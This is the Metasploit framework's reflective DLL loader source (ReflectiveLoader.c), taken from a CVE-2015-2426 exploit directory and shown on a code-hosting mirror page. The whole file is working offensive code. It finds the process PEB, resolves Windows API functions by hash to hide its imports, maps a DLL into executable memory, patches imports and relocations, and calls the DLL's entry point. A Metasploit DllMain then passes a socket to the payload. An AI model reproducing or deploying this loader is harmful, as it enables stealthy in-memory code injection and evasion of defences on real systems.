CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c
Views: 11788
1
//===============================================================================================//
2
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3
// All rights reserved.
4
//
5
// Redistribution and use in source and binary forms, with or without modification, are permitted
6
// provided that the following conditions are met:
7
//
8
// * Redistributions of source code must retain the above copyright notice, this list of
9
// conditions and the following disclaimer.
10
//
11
// * Redistributions in binary form must reproduce the above copyright notice, this list of
12
// conditions and the following disclaimer in the documentation and/or other materials provided
13
// with the distribution.
14
//
15
// * Neither the name of Harmony Security nor the names of its contributors may be used to
16
// endorse or promote products derived from this software without specific prior written permission.
17
//
18
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26
// POSSIBILITY OF SUCH DAMAGE.
27
//===============================================================================================//
28
#include "ReflectiveLoader.h"
29
//===============================================================================================//
30
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
31
HINSTANCE hAppInstance = NULL;
32
//===============================================================================================//
33
#pragma intrinsic( _ReturnAddress )
34
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
35
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
36
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
37
// available (and no inline asm available under x64).
38
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
39
//===============================================================================================//
40
41
#ifdef ENABLE_OUTPUTDEBUGSTRING
42
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
43
#else /* ENABLE_OUTPUTDEBUGSTRING */
44
#define OUTPUTDBG(str) do{}while(0)
45
#endif
46
47
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
48
// otherwise the DllMain at the end of this file will be used.
49
50
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
51
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
52
53
// This is our position independent reflective DLL loader/injector
54
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
55
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
56
#else
57
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
58
#endif
59
{
60
// the functions we need
61
LOADLIBRARYA pLoadLibraryA = NULL;
62
GETPROCADDRESS pGetProcAddress = NULL;
63
VIRTUALALLOC pVirtualAlloc = NULL;
64
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
65
#ifdef ENABLE_STOPPAGING
66
VIRTUALLOCK pVirtualLock = NULL;
67
#endif
68
#ifdef ENABLE_OUTPUTDEBUGSTRING
69
OUTPUTDEBUG pOutputDebug = NULL;
70
#endif
71
72
USHORT usCounter;
73
74
// the initial location of this image in memory
75
ULONG_PTR uiLibraryAddress;
76
// the kernels base address and later this images newly loaded base address
77
ULONG_PTR uiBaseAddress;
78
79
// variables for processing the kernels export table
80
ULONG_PTR uiAddressArray;
81
ULONG_PTR uiNameArray;
82
ULONG_PTR uiExportDir;
83
ULONG_PTR uiNameOrdinals;
84
DWORD dwHashValue;
85
86
// variables for loading this image
87
ULONG_PTR uiHeaderValue;
88
ULONG_PTR uiValueA;
89
ULONG_PTR uiValueB;
90
ULONG_PTR uiValueC;
91
ULONG_PTR uiValueD;
92
ULONG_PTR uiValueE;
93
94
// STEP 0: calculate our images current base address
95
96
// we will start searching backwards from our callers return address.
97
uiLibraryAddress = caller();
98
99
// loop through memory backwards searching for our images base address
100
// we dont need SEH style search as we shouldnt generate any access violations with this
101
while( TRUE )
102
{
103
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
104
{
105
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
106
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
107
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
108
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
109
{
110
uiHeaderValue += uiLibraryAddress;
111
// break if we have found a valid MZ/PE header
112
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
113
break;
114
}
115
}
116
uiLibraryAddress--;
117
}
118
119
// STEP 1: process the kernels exports for the functions our loader needs...
120
121
// get the Process Enviroment Block
122
#ifdef _WIN64
123
uiBaseAddress = __readgsqword( 0x60 );
124
#else
125
#ifdef WIN_ARM
126
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
127
#else _WIN32
128
uiBaseAddress = __readfsdword( 0x30 );
129
#endif
130
#endif
131
132
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
133
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
134
135
// get the first entry of the InMemoryOrder module list
136
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
137
while( uiValueA )
138
{
139
// get pointer to current modules name (unicode string)
140
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
141
// set bCounter to the length for the loop
142
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
143
// clear uiValueC which will store the hash of the module name
144
uiValueC = 0;
145
146
// compute the hash of the module name...
147
do
148
{
149
uiValueC = ror( (DWORD)uiValueC );
150
// normalize to uppercase if the module name is in lowercase
151
if( *((BYTE *)uiValueB) >= 'a' )
152
uiValueC += *((BYTE *)uiValueB) - 0x20;
153
else
154
uiValueC += *((BYTE *)uiValueB);
155
uiValueB++;
156
} while( --usCounter );
157
158
// compare the hash with that of kernel32.dll
159
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
160
{
161
// get this modules base address
162
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
163
164
// get the VA of the modules NT Header
165
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
166
167
// uiNameArray = the address of the modules export directory entry
168
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
169
170
// get the VA of the export directory
171
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
172
173
// get the VA for the array of name pointers
174
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
175
176
// get the VA for the array of name ordinals
177
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
178
179
usCounter = 3;
180
#ifdef ENABLE_STOPPAGING
181
usCounter++;
182
#endif
183
#ifdef ENABLE_OUTPUTDEBUGSTRING
184
usCounter++;
185
#endif
186
187
// loop while we still have imports to find
188
while( usCounter > 0 )
189
{
190
// compute the hash values for this function name
191
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
192
193
// if we have found a function we want we get its virtual address
194
if( dwHashValue == LOADLIBRARYA_HASH
195
|| dwHashValue == GETPROCADDRESS_HASH
196
|| dwHashValue == VIRTUALALLOC_HASH
197
#ifdef ENABLE_STOPPAGING
198
|| dwHashValue == VIRTUALLOCK_HASH
199
#endif
200
#ifdef ENABLE_OUTPUTDEBUGSTRING
201
|| dwHashValue == OUTPUTDEBUG_HASH
202
#endif
203
)
204
{
205
// get the VA for the array of addresses
206
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
207
208
// use this functions name ordinal as an index into the array of name pointers
209
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
210
211
// store this functions VA
212
if( dwHashValue == LOADLIBRARYA_HASH )
213
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
214
else if( dwHashValue == GETPROCADDRESS_HASH )
215
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
216
else if( dwHashValue == VIRTUALALLOC_HASH )
217
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
218
#ifdef ENABLE_STOPPAGING
219
else if( dwHashValue == VIRTUALLOCK_HASH )
220
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
221
#endif
222
#ifdef ENABLE_OUTPUTDEBUGSTRING
223
else if( dwHashValue == OUTPUTDEBUG_HASH )
224
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
225
#endif
226
227
// decrement our counter
228
usCounter--;
229
}
230
231
// get the next exported function name
232
uiNameArray += sizeof(DWORD);
233
234
// get the next exported function name ordinal
235
uiNameOrdinals += sizeof(WORD);
236
}
237
}
238
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
239
{
240
// get this modules base address
241
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
242
243
// get the VA of the modules NT Header
244
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
245
246
// uiNameArray = the address of the modules export directory entry
247
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
248
249
// get the VA of the export directory
250
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
251
252
// get the VA for the array of name pointers
253
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
254
255
// get the VA for the array of name ordinals
256
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
257
258
usCounter = 1;
259
260
// loop while we still have imports to find
261
while( usCounter > 0 )
262
{
263
// compute the hash values for this function name
264
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
265
266
// if we have found a function we want we get its virtual address
267
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
268
{
269
// get the VA for the array of addresses
270
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
271
272
// use this functions name ordinal as an index into the array of name pointers
273
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
274
275
// store this functions VA
276
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
277
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
278
279
// decrement our counter
280
usCounter--;
281
}
282
283
// get the next exported function name
284
uiNameArray += sizeof(DWORD);
285
286
// get the next exported function name ordinal
287
uiNameOrdinals += sizeof(WORD);
288
}
289
}
290
291
// we stop searching when we have found everything we need.
292
if( pLoadLibraryA
293
&& pGetProcAddress
294
&& pVirtualAlloc
295
#ifdef ENABLE_STOPPAGING
296
&& pVirtualLock
297
#endif
298
&& pNtFlushInstructionCache
299
#ifdef ENABLE_OUTPUTDEBUGSTRING
300
&& pOutputDebug
301
#endif
302
)
303
break;
304
305
// get the next entry
306
uiValueA = DEREF( uiValueA );
307
}
308
309
// STEP 2: load our image into a new permanent location in memory...
310
311
// get the VA of the NT Header for the PE to be loaded
312
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
313
314
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
315
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
316
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
317
318
#ifdef ENABLE_STOPPAGING
319
// prevent our image from being swapped to the pagefile
320
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
321
#endif
322
323
// we must now copy over the headers
324
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
325
uiValueB = uiLibraryAddress;
326
uiValueC = uiBaseAddress;
327
328
while( uiValueA-- )
329
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
330
331
// STEP 3: load in all of our sections...
332
333
// uiValueA = the VA of the first section
334
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
335
336
// itterate through all sections, loading them into memory.
337
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
338
while( uiValueE-- )
339
{
340
// uiValueB is the VA for this section
341
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
342
343
// uiValueC if the VA for this sections data
344
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
345
346
// copy the section over
347
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
348
349
while( uiValueD-- )
350
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
351
352
// get the VA of the next section
353
uiValueA += sizeof( IMAGE_SECTION_HEADER );
354
}
355
356
// STEP 4: process our images import table...
357
358
// uiValueB = the address of the import directory
359
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
360
361
// we assume there is an import table to process
362
// uiValueC is the first entry in the import table
363
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
364
365
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
366
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
367
{
368
OUTPUTDBG("Loading library: ");
369
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
370
OUTPUTDBG("\n");
371
372
// use LoadLibraryA to load the imported module into memory
373
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
374
375
if ( !uiLibraryAddress )
376
{
377
OUTPUTDBG("Loading library FAILED\n");
378
379
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
380
continue;
381
}
382
383
// uiValueD = VA of the OriginalFirstThunk
384
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
385
386
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
387
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
388
389
// itterate through all imported functions, importing by ordinal if no name present
390
while( DEREF(uiValueA) )
391
{
392
// sanity check uiValueD as some compilers only import by FirstThunk
393
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
394
{
395
// get the VA of the modules NT Header
396
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
397
398
// uiNameArray = the address of the modules export directory entry
399
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
400
401
// get the VA of the export directory
402
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
403
404
// get the VA for the array of addresses
405
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
406
407
// use the import ordinal (- export ordinal base) as an index into the array of addresses
408
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
409
410
// patch in the address for this imported function
411
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
412
}
413
else
414
{
415
// get the VA of this functions import by name struct
416
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
417
418
OUTPUTDBG("Resolving function: ");
419
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
420
OUTPUTDBG("\n");
421
422
// use GetProcAddress and patch in the address for this imported function
423
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
424
}
425
// get the next imported function
426
uiValueA += sizeof( ULONG_PTR );
427
if( uiValueD )
428
uiValueD += sizeof( ULONG_PTR );
429
}
430
431
// get the next import
432
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
433
}
434
435
// STEP 5: process all of our images relocations...
436
437
// calculate the base address delta and perform relocations (even if we load at desired image base)
438
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
439
440
// uiValueB = the address of the relocation directory
441
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
442
443
// check if their are any relocations present
444
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
445
{
446
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
447
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
448
449
// and we itterate through all entries...
450
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
451
{
452
// uiValueA = the VA for this relocation block
453
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
454
455
// uiValueB = number of entries in this relocation block
456
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
457
458
// uiValueD is now the first entry in the current relocation block
459
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
460
461
// we itterate through all the entries in the current block...
462
while( uiValueB-- )
463
{
464
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
465
// we dont use a switch statement to avoid the compiler building a jump table
466
// which would not be very position independent!
467
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
468
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
469
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
470
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
471
#ifdef WIN_ARM
472
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
473
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
474
{
475
register DWORD dwInstruction;
476
register DWORD dwAddress;
477
register WORD wImm;
478
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
479
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
480
// flip the words to get the instruction as expected
481
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
482
// sanity chack we are processing a MOV instruction...
483
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
484
{
485
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
486
wImm = (WORD)( dwInstruction & 0x000000FF);
487
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
488
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
489
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
490
// apply the relocation to the target address
491
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
492
// now create a new instruction with the same opcode and register param.
493
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
494
// patch in the relocated address...
495
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
496
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
497
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
498
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
499
// now flip the instructions words and patch back into the code...
500
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
501
}
502
}
503
#endif
504
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
505
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
506
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
507
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
508
509
// get the next entry in the current relocation block
510
uiValueD += sizeof( IMAGE_RELOC );
511
}
512
513
// get the next entry in the relocation directory
514
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
515
}
516
}
517
518
// STEP 6: call our images entry point
519
520
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
521
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
522
523
OUTPUTDBG("Flushing the instruction cache");
524
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
525
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
526
527
// call our respective entry point, fudging our hInstance value
528
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
529
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
530
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
531
#else
532
// if we are injecting an DLL via a stub we call DllMain with no parameter
533
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
534
#endif
535
536
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
537
return uiValueA;
538
}
539
//===============================================================================================//
540
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
541
542
// you must implement this function...
543
extern DWORD DLLEXPORT Init( SOCKET socket );
544
545
BOOL MetasploitDllAttach( SOCKET socket )
546
{
547
Init( socket );
548
return TRUE;
549
}
550
551
BOOL MetasploitDllDetach( DWORD dwExitFunc )
552
{
553
switch( dwExitFunc )
554
{
555
case EXITFUNC_SEH:
556
SetUnhandledExceptionFilter( NULL );
557
break;
558
case EXITFUNC_THREAD:
559
ExitThread( 0 );
560
break;
561
case EXITFUNC_PROCESS:
562
ExitProcess( 0 );
563
break;
564
default:
565
break;
566
}
567
568
return TRUE;
569
}
570
571
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
572
{
573
BOOL bReturnValue = TRUE;
574
575
switch( dwReason )
576
{
577
case DLL_METASPLOIT_ATTACH:
578
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
579
break;
580
case DLL_METASPLOIT_DETACH:
581
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
582
break;
583
case DLL_QUERY_HMODULE:
584
if( lpReserved != NULL )
585
*(HMODULE *)lpReserved = hAppInstance;
586
break;
587
case DLL_PROCESS_ATTACH:
588
hAppInstance = hinstDLL;
589
break;
590
case DLL_PROCESS_DETACH:
591
case DLL_THREAD_ATTACH:
592
case DLL_THREAD_DETACH:
593
break;
594
}
595
return bReturnValue;
596
}
597
598
#endif
599
//===============================================================================================//
600
601